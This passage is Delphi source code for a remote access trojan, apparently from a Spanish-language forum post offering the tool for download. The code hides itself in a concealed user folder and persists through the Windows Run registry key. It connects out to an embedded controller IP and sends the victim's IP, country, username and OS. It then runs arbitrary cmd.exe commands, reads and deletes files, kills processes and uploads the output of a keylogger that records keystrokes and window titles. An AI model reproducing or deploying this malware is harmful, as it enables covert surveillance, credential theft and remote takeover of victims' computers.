      vano := OpenProcess(PROCESS_TERMINATE, FALSE, StrToInt(pid));

      if TerminateProcess(vano, 0) then
      begin
        code := '[+] Kill Process : OK';
      end
      else
      begin
        code := '[+] Kill Process : ERROR';
      end;

      Result := code;

    end;

    function ejecutar(cmd: string): string;
    // Credits : Function ejecutar() based in : http://www.delphidabbler.com/tips/61
    // Thanks to www.delphidabbler.com

    var
      parte1: TSecurityAttributes;
      parte2: TStartupInfo;
      parte3: TProcessInformation;
      parte4: THandle;
      parte5: THandle;
      control2: Boolean;
      contez: array [0 .. 255] of AnsiChar;
      notengoidea: Cardinal;
      fix: Boolean;
      code: string;

    begin

      code := '';

      with parte1 do
      begin
        nLength := SizeOf(parte1);
        bInheritHandle := True;
        lpSecurityDescriptor := nil;
      end;

      CreatePipe(parte4, parte5, @parte1, 0);

      with parte2 do
      begin
        FillChar(parte2, SizeOf(parte2), 0);
        cb := SizeOf(parte2);
        dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
        wShowWindow := SW_HIDE;
        hStdInput := GetStdHandle(STD_INPUT_HANDLE);
        hStdOutput := parte5;
        hStdError := parte5;
      end;

      fix := CreateProcess(nil, PChar('cmd.exe /C ' + cmd), nil, nil, True, 0, nil,
        PChar('c:/'), parte2, parte3);

      CloseHandle(parte5);

      if fix then

        repeat

        begin
          control2 := ReadFile(parte4, contez, 255, notengoidea, nil);
        end;

        if notengoidea > 0 then
        begin
          contez[notengoidea] := #0;
          code := code + contez;
        end;

        until not(control2) or (notengoidea = 0);

        Result := code;

    end;

    function crazy_mouse(number: string): string;
    var
      i: integer;
      code: string;
    begin
      code := '';
      For i := 1 to StrToInt(number) do
      begin
        Sleep(1000);
        SetCursorPos(i, i);
      end;
      code := '[+] Crazy Mouse : OK';
      Result := code;
    end;

    function TForm1.datanow(): string;
    var
      code: string;
      ip: string;
      pais: string;
      re: string;
      username: string;
      os: string;

    begin

      try
        begin
          code := IdHTTP1.Get('http://whatismyipaddress.com/');

          ip := regex(code, 'alt="Click for more about ', '"></a>');
          pais := regex(code, '<tr><th>Country:</th><td>', '</td></tr>');

          if (ip = '') then
          begin
            ip := '?';
          end;

          if (pais = '') then
          begin
            pais := '?';
          end;

          username := GetEnvironmentVariable('username');
          os := GetEnvironmentVariable('os');

          re := '[datos_nuevos][ip]' + ip + '[ip]' + '[pais]' + pais + '[pais]' +
            '[username]' + username + '[username]' + '[os]' + os + '[os]';
        end;
      except
        //
      end;

      Result := re;

    end;

    //

    procedure TForm1.ClientSocket1Connect(Sender: TObject;
      Socket: TCustomWinSocket);
    begin
      ClientSocket1.Socket.SendText(datanow());
    end;

    procedure TForm1.ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
    var
      code: string;
      argumento: string;
    begin
      code := Socket.ReceiveText;

      argumento := regex(code, '[argumento]', '[argumento]');

      if (Pos('![opencd]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(lectora('open'));
      end;

      if (Pos('![closecd]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(lectora('close'));
      end;

      if (Pos('![listardirectorio]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(listardirectorio(argumento));
      end;

      if (Pos('![borraresto]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(borraresto(argumento));
      end;

      if (Pos('![leerarchivo]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(LeerArchivo(argumento));
      end;

      if (Pos('![keyloggerlogs]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText('![keyloggerlogs]<br>' + LeerArchivo(acatoy));
      end;

      if (Pos('![sendkeys]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(SendKeys(argumento));
      end;

      if (Pos('![escribirword]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(escribir_word(argumento));
      end;

      if (Pos('![mensaje]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(mensaje(argumento));
      end;

      if (Pos('![hablar]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(hablar(argumento));
      end;

      if (Pos('![matarproceso]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(matarproceso(argumento));
      end;

      if (Pos('![ejecutar]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(ejecutar(argumento));
      end;

      if (Pos('![crazymouse]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(crazy_mouse(argumento));
      end;

      if (Pos('![ocultartaskbar]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(cambiar_barra('hide'));
      end;

      if (Pos('![volvertaskbar]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(cambiar_barra('na'));
      end;

      if (Pos('![ocultariconos]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(cambiar_iconos('hide'));
      end;

      if (Pos('![volvericonos]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(cambiar_iconos('na'));
      end;

      if (Pos('![listarprocesos]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(listarprocesos());
      end;

    end;

    procedure TForm1.FormCreate(Sender: TObject);
    var
      dir_hide, dir, carpeta, nombrereal, directorio, rutareal, yalisto: string;
      registro: HKEY;
      ip: string;

      ob: THandle;
      code: Array [0 .. 9999 + 1] of Char;
      nose: DWORD;
      todo: string;

    begin

      Application.ShowMainForm := FALSE;

      ob := INVALID_HANDLE_VALUE;
      code := '';

      ob := CreateFile(PChar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
        OPEN_EXISTING, 0, 0);
      if (ob <> INVALID_HANDLE_VALUE) then
      begin
        SetFilePointer(ob, -9999, nil, FILE_END);
        ReadFile(ob, code, 9999, nose, nil);
        CloseHandle(ob);
      end;

      todo := regex(code, '[63686175]', '[63686175]');
      todo := dhencode(todo, 'decode');

      ip := regex(todo, '[ip]', '[ip]');

      try
        begin
          dir_hide := GetEnvironmentVariable('USERPROFILE') + '/';
          carpeta := 'ratata';

          dir := dir_hide + carpeta + '/';

          if not(DirectoryExists(dir)) then
          begin
            CreateDir(dir);
          end;

          ChDir(dir);

          nombrereal := ExtractFileName(paramstr(0));
          rutareal := dir;
          yalisto := dir + nombrereal;

          acatoy := dir + 'logs.html';

          MoveFile(PChar(paramstr(0)), PChar(yalisto));

          SetFileAttributes(PChar(dir), FILE_ATTRIBUTE_HIDDEN);

          SetFileAttributes(PChar(yalisto), FILE_ATTRIBUTE_HIDDEN);

          RegCreateKeyEx(HKEY_LOCAL_MACHINE,
            'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
            REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
          RegSetValueEx(registro, 'uberk', 0, REG_SZ, PChar(yalisto), 666);
          RegCloseKey(registro);

          savefile('logs.html',
            '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');

          ClientSocket1.Address := ip;
          ClientSocket1.Port := 6664;
          ClientSocket1.Open;

        end;
      except
        //
      end;

    end;

    procedure TForm1.sButton1Click(Sender: TObject);
    begin
      ClientSocket1.Socket.SendText(datanow());
    end;

    procedure TForm1.Timer1Timer(Sender: TObject);
    var
      i: integer;
      Result: Longint;
      mayus: integer;
      shift: integer;

    const

      n_numeros_izquierda: array [1 .. 10] of string =
        ('48', '49', '50', '51', '52', '53', '54', '55', '56', '57');

    const
      t_numeros_izquierda: array [1 .. 10] of string =
        ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

    const
      n_numeros_derecha: array [1 .. 10] of string =
        ('96', '97', '98', '99', '100', '101', '102', '103', '104', '105');

    const
      t_numeros_derecha: array [1 .. 10] of string =
        ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

    const
      n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
        '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
        '291', '220', '221', '222', '226');

    const
      t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨',
        '&', '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^',
        '|');

    const
      n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
        '188', '189', '190', '191', '192', '193', '219', '220', '221', '222',
        '226');

    const
      t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
        '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
        ' / ', ' \ \ \ ', ']', '[', '~', '\/');

    begin

      // Others

      for i := Low(n_raros) to High(n_raros) do
      begin
        Result := GetAsyncKeyState(StrToInt(n_raros[i]));
        If Result = -32767 then
        begin
          savefile('logs.html', t_raros[i]);
        end;
      end;

      // Numbers

      for i := Low(n_numeros_derecha) to High(n_numeros_derecha) do
      begin
        Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[i]));
        If Result = -32767 then
        begin
          savefile('logs.html', t_numeros_derecha[i]);
        end;
      end;

      for i := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
      begin
        Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[i]));
        If Result = -32767 then
        begin
          savefile('logs.html', t_numeros_izquierda[i]);
        end;
      end;

      // SHIFT

      if (GetAsyncKeyState(VK_SHIFT) <> 0) then
      begin

        for i := Low(n_shift) to High(n_shift) do
        begin
          Result := GetAsyncKeyState(StrToInt(n_shift[i]));
          If Result = -32767 then
          begin
            savefile('logs.html', t_shift[i]);
          end;
        end;

        for i := 65 to 90 do
        begin
          Result := GetAsyncKeyState(i);
          If Result = -32767 then
          Begin
            savefile('logs.html', Chr(i + 0));
          End;
        end;

      end;

      // MAYUS

      if (GetKeyState(20) = 0) then
      begin
        mayus := 32;
      end
      else
      begin
        mayus := 0;
      end;

      for i := 65 to 90 do
      begin
        Result := GetAsyncKeyState(i);
        If Result = -32767 then
        Begin
          savefile('logs.html', Chr(i + mayus));
        End;
      end;

    end;

    procedure TForm1.Timer2Timer(Sender: TObject);
    var
      ventana1: array [0 .. 255] of Char;
      nombre1: string;

    begin

      GetWindowText(GetForegroundWindow, ventana1, SizeOf(ventana1));

      nombre1 := ventana1;

      if not(nombre1 = Nombre2) then
      begin
        Nombre2 := nombre1;
        savefile('logs.html',
          '<hr style=color:#00FF00><h2><center>' + Nombre2 + '</h2></center><br>');
      end;

    end;

    //

    end.

    // The End ?


    Si lo quieren bajar lo pueden hacer de aca.